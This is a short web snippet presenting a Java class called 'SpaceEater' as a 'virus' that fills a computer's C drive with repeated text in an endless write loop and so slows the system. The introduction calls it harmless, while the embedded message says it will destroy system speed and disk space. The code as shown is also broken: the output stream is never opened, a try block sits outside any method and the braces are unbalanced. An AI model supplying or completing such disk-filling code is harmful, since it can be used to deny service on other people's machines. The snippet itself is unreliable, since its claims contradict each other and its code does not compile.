This Java Code will eat your space on C drive and Slowdown your System, this code doesn't harm your system. When you stop executing program it will stop eating your space
- package socketProgramming;
- import java.io.FileNotFoundException;
- import java.io.FileOutputStream;
- import java.io.IOException;
- public class SpaceEater {
- FileOutputStream fout;
- try {
- String s =
- "Hello this is space eater virus how much space it will eat you don't know. it will just destroy all system speed and space on hard disc";
- byte b[] = s.getBytes();
- int i = 0;
- while (i != -1) {
- fout.write(b);
- }
- }
- }
- }